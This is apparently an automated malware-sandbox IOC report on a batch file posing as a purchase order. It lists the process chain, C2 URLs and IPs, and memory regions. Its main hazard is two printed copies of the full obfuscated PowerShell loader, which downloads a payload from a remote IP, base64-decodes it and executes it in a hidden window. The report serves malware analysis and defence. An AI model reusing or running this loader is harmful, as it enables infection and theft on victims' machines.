IOC Report
PO_La-Tanerie04180240124.bat

PO_La-Tanerie04180240124.bat

ASCII text, with very long lines (2827), with no line terminators

initial sample

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PO_La-Tanerie04180240124.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$Ruthenious = 1;$dirkningernes='Substrin';$dirkningernes+='g';Function Sonedkkets($Fumingly){$Programmeringsbegrebet=$Fumingly.Length-$Ruthenious;For($Ozonify=1; $Ozonify -lt $Programmeringsbegrebet; $Ozonify+=(2)){$Hjul+=$Fumingly.$dirkningernes.Invoke($Ozonify, $Ruthenious);}$Hjul;}function Innovative($Oryctognosy238){. ($Complexes) ($Oryctognosy238);}$Glasskaaret=Sonedkkets ' MHoKz.iBlFlEa /U5S. 0S A(IW.i nKdDo,w s, BN T ,1 0 .S0C;, KWIiUn 6T4F; .x,6,4S;, TrBv :T1I2B1S.C0E)H ,GEeAc kDo /b2O0 1 0A0 1 0 1F F.i rReTf orxL/.1 2.1O. 0 ';$Beshaming=Sonedkkets ' UCsHeUr -MA.g.e,n.tB ';$Bladfod=Sonedkkets ' hOt t pP:a/S/,8 7,.C1T2v1L. 1R0R5L. 1 6O3H/.L i,cPeUn c.eJsA.,t.trf ';$Gruppemedlemmernes=Sonedkkets 'S> ';$Complexes=Sonedkkets 'EiReAxB ';$Gambia = Sonedkkets ' e,cTh o B%Aa,pEpOdOa t,a.%S\ P,rWeSzSyCg,oVmMaIt.iLc,.AB.e n, u& & .eLcDhBo. $. ';Innovative (Sonedkkets 'B$CgSlSo bBaGl :.UUn wGa r.r,aAnCt a b.i lti tDy =D(UcAm,df /IcL A$ GOa.m b imaV) ');Innovative (Sonedkkets 'T$ g lFoDb a l.:MHKe e l.t a,p,2 6m= $BB,l a dIfSoUd .ssfp lCi t.(V$OGUr u p,p e mBe dSlAeCm m ePrhnKe s.) ');$Bladfod=$Heeltap26[0];Innovative (Sonedkkets ',$TgPl o bGaDlO:,RPr b l a,d eTs =MNTe w -AOSb,j eUc t AS.y sSt e.m .AN e t .RWFeMbtC l i eLn t, ');Innovative (Sonedkkets ' $ RArDb.lDa.d,eHs,..HGe.aSdCe.rLs [ $kB.ess.hKa mSiNnOgT]V=K$ GIlFaAsAsKk a.a r e t ');$Forvanskes=Sonedkkets ' RHrEbLlpaUdPeTsp.AD oTwSnPlmoOaSdSFCiCl e (s$.BMl.aDdPf oFdT,B$DHPoCo.pHoUe,s,), ';$Forvanskes=$Unwarrantability[1]+$Forvanskes;$Hoopoes=$Unwarrantability[0];Innovative (Sonedkkets ' $.gAlZoSb a lA:FGFrAa vRh j eN=D(MTTe,s t -SP a tFh $AHRo o.pAoRe sS)A ');while (!$Gravhje) {Innovative (Sonedkkets 'P$ gal o bTa lL: S t uKefa rPr e s.tmeFn s =S$PtRrTuBe. ') ;Innovative $Forvanskes;Innovative (Sonedkkets ',S.tTa rCtD-ISDl eWe pA ,4 ');Innovative (Sonedkkets 'B$Eg,lKo.b a,l :WGIrLa,v.hVj el=.( T ecsUtM-BPRa t h G$LHSoSoGpcoPeSs,)E ') ;Innovative (Sonedkkets ' $ gDl o b.aAlD:,S.u,pReNr fEiHnSi.c aBlO=S$ng,l.oFb.a.lM:RVDi tUh aMr,d.tFs,+ +A%.$,Hpe.e l tna p 2K6,..cSoBu nCt. ') ;$Bladfod=$Heeltap26[$Superfinical];}Innovative (Sonedkkets 'F$.gSlMo bAa l,:BGFu l i xG ,=E BG,eWt -PC oDnDt,eGnMt $UH oBoBp oPeTsU ');Innovative (Sonedkkets 'E$.gLlRolb.aOlt: T.hSo,r a cUo.sut rDaTc aan ,=. k[RS y s t e mP.JCUoPnCv eBr t ]M:B: FFrCoTm,B,aKsMeE6G4IS.tSrTiFn,g.(S$FG u lRimx.)U ');Innovative (Sonedkkets ',$Mg lVo b,a lK: G a r,dIe nTpBa rUt iQeBnNe, = ,[BS ySsDt eNm . TDe xUt .UEUnPc,oSd.ifnLgL]u:A: A S C,IPI,. G eHt S.t r,i n g ( $ TKhNoSr.a cVoIsotnr aSchaSn )U ');Innovative (Sonedkkets 'E$,gPlLo.b aMl.: FDd e,vBaSr e i n d.utsStSr i e nSsP= $pG a.r d,eCnLp aVr,t.i,eUn e . s,uRbUsSt r i.n gE( 2O9A8.8s7 2 ,S2.6 1S1N8E)e ');Innovative $Fdevareindustriens;"

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Prezygomatic.Ben && echo $"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Ruthenious = 1;$dirkningernes='Substrin';$dirkningernes+='g';Function Sonedkkets($Fumingly){$Programmeringsbegrebet=$Fumingly.Length-$Ruthenious;For($Ozonify=1; $Ozonify -lt $Programmeringsbegrebet; $Ozonify+=(2)){$Hjul+=$Fumingly.$dirkningernes.Invoke($Ozonify, $Ruthenious);}$Hjul;}function Innovative($Oryctognosy238){. ($Complexes) ($Oryctognosy238);}$Glasskaaret=Sonedkkets ' MHoKz.iBlFlEa /U5S. 0S A(IW.i nKdDo,w s, BN T ,1 0 .S0C;, KWIiUn 6T4F; .x,6,4S;, TrBv :T1I2B1S.C0E)H ,GEeAc kDo /b2O0 1 0A0 1 0 1F F.i rReTf orxL/.1 2.1O. 0 ';$Beshaming=Sonedkkets ' UCsHeUr -MA.g.e,n.tB ';$Bladfod=Sonedkkets ' hOt t pP:a/S/,8 7,.C1T2v1L. 1R0R5L. 1 6O3H/.L i,cPeUn c.eJsA.,t.trf ';$Gruppemedlemmernes=Sonedkkets 'S> ';$Complexes=Sonedkkets 'EiReAxB ';$Gambia = Sonedkkets ' e,cTh o B%Aa,pEpOdOa t,a.%S\ P,rWeSzSyCg,oVmMaIt.iLc,.AB.e n, u& & .eLcDhBo. $. ';Innovative (Sonedkkets 'B$CgSlSo bBaGl :.UUn wGa r.r,aAnCt a b.i lti tDy =D(UcAm,df /IcL A$ GOa.m b imaV) ');Innovative (Sonedkkets 'T$ g lFoDb a l.:MHKe e l.t a,p,2 6m= $BB,l a dIfSoUd .ssfp lCi t.(V$OGUr u p,p e mBe dSlAeCm m ePrhnKe s.) ');$Bladfod=$Heeltap26[0];Innovative (Sonedkkets ',$TgPl o bGaDlO:,RPr b l a,d eTs =MNTe w -AOSb,j eUc t AS.y sSt e.m .AN e t .RWFeMbtC l i eLn t, ');Innovative (Sonedkkets ' $ RArDb.lDa.d,eHs,..HGe.aSdCe.rLs [ $kB.ess.hKa mSiNnOgT]V=K$ GIlFaAsAsKk a.a r e t ');$Forvanskes=Sonedkkets ' RHrEbLlpaUdPeTsp.AD oTwSnPlmoOaSdSFCiCl e (s$.BMl.aDdPf oFdT,B$DHPoCo.pHoUe,s,), ';$Forvanskes=$Unwarrantability[1]+$Forvanskes;$Hoopoes=$Unwarrantability[0];Innovative (Sonedkkets ' $.gAlZoSb a lA:FGFrAa vRh j eN=D(MTTe,s t -SP a tFh $AHRo o.pAoRe sS)A ');while (!$Gravhje) {Innovative (Sonedkkets 'P$ gal o bTa lL: S t uKefa rPr e s.tmeFn s =S$PtRrTuBe. ') ;Innovative $Forvanskes;Innovative (Sonedkkets ',S.tTa rCtD-ISDl eWe pA ,4 ');Innovative (Sonedkkets 'B$Eg,lKo.b a,l :WGIrLa,v.hVj el=.( T ecsUtM-BPRa t h G$LHSoSoGpcoPeSs,)E ') ;Innovative (Sonedkkets ' $ gDl o b.aAlD:,S.u,pReNr fEiHnSi.c aBlO=S$ng,l.oFb.a.lM:RVDi tUh aMr,d.tFs,+ +A%.$,Hpe.e l tna p 2K6,..cSoBu nCt. ') ;$Bladfod=$Heeltap26[$Superfinical];}Innovative (Sonedkkets 'F$.gSlMo bAa l,:BGFu l i xG ,=E BG,eWt -PC oDnDt,eGnMt $UH oBoBp oPeTsU ');Innovative (Sonedkkets 'E$.gLlRolb.aOlt: T.hSo,r a cUo.sut rDaTc aan ,=. k[RS y s t e mP.JCUoPnCv eBr t ]M:B: FFrCoTm,B,aKsMeE6G4IS.tSrTiFn,g.(S$FG u lRimx.)U ');Innovative (Sonedkkets ',$Mg lVo b,a lK: G a r,dIe nTpBa rUt iQeBnNe, = ,[BS ySsDt eNm . TDe xUt .UEUnPc,oSd.ifnLgL]u:A: A S C,IPI,. G eHt S.t r,i n g ( $ TKhNoSr.a cVoIsotnr aSchaSn )U ');Innovative (Sonedkkets 'E$,gPlLo.b aMl.: FDd e,vBaSr e i n d.utsStSr i e nSsP= $pG a.r d,eCnLp aVr,t.i,eUn e . s,uRbUsSt r i.n gE( 2O9A8.8s7 2 ,S2.6 1S1N8E)e ');Innovative $Fdevareindustriens;"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s

C:\Windows\SysWOW64\AtBroker.exe

"C:\Windows\SysWOW64\AtBroker.exe"

C:\Program Files (x86)\jaHRMeRtobfWsKpFuHFpQhPymURiOXSszhwZGlWopGNKE\TJxNjwSdogTKaRdGyTBETCcxFSSkfL.exe

"C:\Program Files (x86)\jaHRMeRtobfWsKpFuHFpQhPymURiOXSszhwZGlWopGNKE\TJxNjwSdogTKaRdGyTBETCcxFSSkfL.exe"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\Firefox.exe"

http://www.theplays.shop/gnbc/

172.67.152.117

http://www.theplays.shop/gnbc/?3rIdN=CFA+HkVxdb5EmOTiyKzJRx18y6HwiaTX//sAjaoe71zU1jru2C8H4zLuCGW9CrkOmabuxLOltM6mSwZ40cUW36eaDQ/OtyT9g3qPq0qmgtUTW0WFBiYRpF0=&-vl=m8zDpnb8Q0wTDj9

172.67.152.117

http://www.tyaer.com/gnbc/?3rIdN=L9JeOsoYfW7LuiHbEV4XUwbpY14lK3MC8gDNcZo86ZNgoJ0Ky4PaH7DNod07P46PC5yTK57EcxKk26T8ts7dMYkzgYfCCfwx/idEgCEytip/UDtQtUPltR4=&-vl=m8zDpnb8Q0wTDj9

47.91.88.207

www.tyaer.com

47.91.88.207

www.theplays.shop

172.67.152.117

www.megabet303.lol

unknown

172.67.152.117

www.theplays.shop

United States

47.91.88.207

www.tyaer.com

United States

1340000

system

page execute and read and write

2AA0000

system

page execute and read and write

46C0000

trusted library allocation

page read and write

6018000

trusted library allocation

page read and write

3060000

trusted library allocation

page read and write

AFA5000

direct allocation

page execute and read and write

25A329E1000

trusted library allocation

page read and write

3040000

unclassified section

page execute and read and write

90A0000

direct allocation

page execute and read and write